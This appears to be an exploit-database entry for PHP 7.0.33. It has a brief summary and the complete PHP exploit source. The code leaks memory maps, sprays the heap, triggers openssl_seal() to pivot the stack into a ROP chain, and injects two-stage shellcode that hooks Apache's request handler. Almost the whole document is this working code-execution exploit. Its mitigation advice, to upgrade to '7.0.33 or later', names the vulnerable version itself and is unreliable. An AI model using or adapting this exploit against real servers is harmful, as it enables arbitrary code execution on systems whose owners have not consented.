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Suggest Exploit
vendor:
PHP 7.0.33
by:
akat1.pl
8,8
CVSS
HIGH
Stack Pivot
119
CWE
Product Name: PHP 7.0.33
Affected Version From: 7.0.33
Affected Version To: 7.0.33
Patch Exists: Yes
Related CWE: N/A
CPE: a:php:php:7.0.33
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2019

Stack Pivot to Arbitrary Code Execution

This exploit is a stack pivot to arbitrary code execution vulnerability in the PHP 7.0.33. It is possible to pivot the stack to an arbitrary address by using the libphp7 library. The exploit uses the libphp7 library to find the address of the buffer string, and then uses the libc library to find the address of the mprotect and mmap functions. It then uses the mprotect and mmap functions to map the buffer string to an executable memory page, and then uses the buffer string to execute arbitrary code.

Mitigation:

The best way to mitigate this vulnerability is to upgrade to the latest version of PHP 7.0.33 or later.
Source

Exploit-DB raw data:

<?php

// Source: http://akat1.pl/?id=1

function get_maps() {
        $fh = fopen("/proc/self/maps", "r");
        $maps = fread($fh, 331337);
        fclose($fh);
        return explode("\n", $maps);
}

function find_map($sym) {
    $addr = 0;
    foreach(get_maps() as $record)
        if (strstr($record, $sym) && strstr($record, "r-xp")) {
            $addr = hexdec(explode('-', $record)[0]);
            break;
        }

    if ($addr == 0)
            die("[-] can't find $sym base, you need an information leak :[");

    return $addr;
}

function fill_buffer($offset, $content) {
    global $buffer;
    for ($i = 0; $i < strlen($content); $i++)
        $buffer[$offset + $i] = $content[$i];
    return;
}

$pre = get_maps();
$buffer = str_repeat("\x00", 0xff0000);
$post = get_maps();

$tmp = array_diff($post, $pre);

if (count($tmp) != 1)
        die('[-] you need an information leak :[');

$buffer_base = hexdec(explode('-',array_values($tmp)[0])[0]);
$addr = $buffer_base+0x14; /* align to string */

echo "[+] buffer string @ 0x".dechex($addr)."\n";

$align = 0xff;
$addr += $align;

echo "[+] faking EVP_PKEY @ 0x".dechex($addr)."\n";
echo "[+] faking ASN @ 0x".dechex($addr)."\n";
fill_buffer($align + 12, pack('P', $addr));

$libphp_base = find_map("libphp7");
echo "[+] libphp7 base @ 0x".dechex($libphp_base)."\n";

/* pop x ; pop rsp ; ret - stack pivot */
$rop_addr = $libphp_base + 0x00000000004a79c3;
echo "[+] faking pkey_free @ 0x".dechex($addr+0xa0-4)." = ".dechex($rop_addr)."\n";
fill_buffer($align + 0xa0 - 4, pack('P', $rop_addr));

/* pop rbp ; pop rbp ; ret - clean up the stack after pivoting */
$rop_addr = $libphp_base + 0x000000000041d583;
fill_buffer($align - 4, pack('P', $rop_addr));

$libc_base = find_map("libc-");
echo "[+] libc base @ 0x".dechex($libc_base)."\n";

$mprotect_offset = 0xf4a20;
$mprotect_addr = $libc_base + $mprotect_offset;
echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";

$mmap_offset = 0xf49c0;
$mmap_addr = $libc_base + $mmap_offset;
echo "[+] mmap @ 0x".dechex($mmap_addr)."\n";

$apache2_base = find_map("/usr/sbin/apache2");
echo "[+] apache2 base @ 0x".dechex($apache2_base)."\n";

$ap_rprintf_offset = 0x429c0;
$ap_rprintf_addr = $apache2_base + $ap_rprintf_offset;
echo "[+] ap_rprintf @ 0x".dechex($ap_rprintf_addr)."\n";

$ap_hook_quick_handler_offset = 0x56c00;
$ap_hook_quick_handler_addr = $apache2_base + $ap_hook_quick_handler_offset;
echo "[+] ap_hook_quick_handler @ 0x".dechex($ap_hook_quick_handler_addr)."\n";

echo "[+] building ropchain\n";
$rop_chain =
        pack('P', $libphp_base + 0x00000000000ea107) .  // pop rdx ; ret
        pack('P', 0x0000000000000007) .                 // rdx = 7
        pack('P', $libphp_base + 0x00000000000e69bd) .  // pop rsi ; ret
        pack('P', 0x0000000000004000) .                 // rsi = 0x1000
        pack('P', $libphp_base + 0x00000000000e5fd8) .  // pop rdi ; ret
        pack('P', $addr ^ ($addr & 0xffff)) .           // rdi = page aligned addr
        pack('P', $mprotect_addr) .                     // mprotect addr
        pack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff); // return to shellcode_stage1
fill_buffer($align + 0x14, $rop_chain);

$shellcode_stage1 = str_repeat("\x90", 512) .
        "\x48\xb8" . pack('P', $buffer_base + 0x2018) .         // movabs shellcode_stage2, %rax
        "\x49\xb8" . pack('P', 0x1000) .                        // handler size
        "\x48\xb9" . pack('P', $buffer_base + 0x3018) .         // handler
        "\x48\xba" . pack('P', $ap_hook_quick_handler_addr) .   // movabs ap_hook_quick_handler, %rdx
        "\x48\xbe" . pack('P', 0) .                             // UNUSED
        "\x48\xbf" . pack('P', $mmap_addr) .                    // movabs mmap,%rdi
        "\xff\xd0" .                                            // callq %rax
        "\xb8\x27\x00\x00\x00" .                                // mov $0x27,%eax - getpid syscall
        "\x0f\x05" .                                            // syscall
        "\xbe\x1b\x00\x00\x00" .                                // mov $0xd,%esi - SIGPROF
        "\x89\xc7" .                                            // mov %eax,%edi - pid
        "\xb8\x3e\x00\x00\x00" .                                // mov $0x3e,%eax  - kill syscall
        "\x0f\x05";                                             // syscall
fill_buffer(0x1000, $shellcode_stage1);

$shellcode_stage2 = str_repeat("\x90", 512) .
        "\x55" .                        // push   %rbp
        "\x48\x89\xe5" .                // mov    %rsp,%rbp
        "\x48\x83\xec\x40" .            // sub    $0x40,%rsp
        "\x48\x89\x7d\xe8" .            // mov    %rdi,-0x18(%rbp)
        "\x48\x89\x75\xe0" .            // mov    %rsi,-0x20(%rbp)
        "\x48\x89\x55\xd8" .            // mov    %rdx,-0x28(%rbp)
        "\x48\x89\x4d\xd0" .            // mov    %rcx,-0x30(%rbp)
        "\x4c\x89\x45\xc8" .            // mov    %r8,-0x38(%rbp)
        "\x48\x8b\x45\xe8" .            // mov    -0x18(%rbp),%rax
        "\x41\xb9\x00\x00\x00\x00" .    // mov    $0x0,%r9d
        "\x41\xb8\xff\xff\xff\xff" .    // mov    $0xffffffff,%r8d
        "\xb9\x22\x00\x00\x00" .        // mov    $0x22,%ecx
        "\xba\x07\x00\x00\x00" .        // mov    $0x7,%edx
        "\xbe\x00\x20\x00\x00" .        // mov    $0x2000,%esi
        "\xbf\x00\x00\x00\x00" .        // mov    $0x0,%edi
        "\xff\xd0" .                    // callq  *%rax
        "\x48\x89\x45\xf0" .            // mov    %rax,-0x10(%rbp)
        "\x48\x8b\x45\xf0" .            // mov    -0x10(%rbp),%rax
        "\x48\x89\x45\xf8" .            // mov    %rax,-0x8(%rbp)
        "\xeb\x1d" .                    // jmp    0x40063d <shellcode+0x6d>
        "\x48\x8b\x45\xf8" .            // mov    -0x8(%rbp),%rax
        "\x48\x8d\x50\x01" .            // lea    0x1(%rax),%rdx
        "\x48\x89\x55\xf8" .            // mov    %rdx,-0x8(%rbp)
        "\x48\x8b\x55\xd0" .            // mov    -0x30(%rbp),%rdx
        "\x48\x8d\x4a\x01" .            // lea    0x1(%rdx),%rcx
        "\x48\x89\x4d\xd0" .            // mov    %rcx,-0x30(%rbp)
        "\x0f\xb6\x12" .                // movzbl (%rdx),%edx
        "\x88\x10" .                    // mov    %dl,(%rax)
        "\x48\x8b\x45\xc8" .            // mov    -0x38(%rbp),%rax
        "\x48\x8d\x50\xff" .            // lea    -0x1(%rax),%rdx
        "\x48\x89\x55\xc8" .            // mov    %rdx,-0x38(%rbp)
        "\x48\x85\xc0" .                // test   %rax,%rax
        "\x75\xd2" .                    // jne    0x400620 <shellcode+0x50>
        "\x48\x8b\x7d\xf0" .            // mov    -0x10(%rbp),%rdi
        "\x48\x8b\x45\xd8" .            // mov    -0x28(%rbp),%rax
        "\xb9\xf6\xff\xff\xff" .        // mov    $0xfffffff6,%ecx
        "\xba\x00\x00\x00\x00" .        // mov    $0x0,%edx
        "\xbe\x00\x00\x00\x00" .        // mov    $0x0,%esi
        "\xff\xd0" .                    // callq  *%rax
        "\xc9" .                        // leaveq
        "\xc3";                         // retq
fill_buffer(0x2000, $shellcode_stage2);

$handler =
        "\x55" .                                    // push   %rbp
        "\x48\x89\xe5" .                            // mov    %rsp,%rbp
        "\x48\x83\xec\x30" .                        // sub    $0x30,%rsp
        "\x48\x89\x7d\xd8" .                        // mov    %rdi,-0x28(%rbp)
        "\x48\xb8" . pack('P', $ap_rprintf_addr) .  // movabs $0xdeadbabefeedcafe,%rax
        "\x48\x89\x45\xf8" .                        // mov    %rax,-0x8(%rbp)
        "\x48\xb8" . "Hello Wo" .                   // movabs CONTENT,%rax
        "\x48\x89\x45\xe0" .                        // mov    %rax,-0x20(%rbp)
        "\x48\xb8" . "rld!\n\x00\x00\x00" .         // movabs CONTENT,%rax
        "\x48\x89\x45\xe8" .                        // mov    %rax,-0x20(%rbp)
        "\x48\x8d\x4d\xe0" .                        // lea    -0x20(%rbp),%rcx
        "\x48\x8b\x55\xd8" .                        // mov    -0x28(%rbp),%rdx
        "\x48\x8b\x45\xf8" .                        // mov    -0x8(%rbp),%rax
        "\x48\x89\xce" .                            // mov    %rcx,%rsi
        "\x48\x89\xd7" .                            // mov    %rdx,%rdi
        "\xff\xd0" .                                // callq  *%rax
        "\xb8\x00\x00\x00\x00" .                    // mov    $0x0,%eax
        "\xc9" .                                    // leaveq
        "\xc3";                                     // retq
fill_buffer(0x3000, $handler);

$addr = pack('P', $addr);
$memory = str_repeat($addr,321);

$pem = "
-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==
-----END PUBLIC KEY-----"; /* Random RSA key */

$a = array_fill(0,321,0);
/* place valid keys at the beginning */ 
$k = openssl_pkey_get_public($pem);
$a[0] = $k; $a[1] = $k; $a[2] = $k;
echo "[+] spraying heap\n";
$x = array();
for ($i = 0 ; $i < 20000 ; $i++) {
        $x[$i] = str_repeat($memory, 1);
}
for ($i = 0 ; $i < 20000 ; $i++) {
        unset($x[$i]);
}
unset($x);
echo "[+] triggering openssl_seal()...\n";
@openssl_seal($_, $_, $_, $a);
echo "[-] failed ;[\n";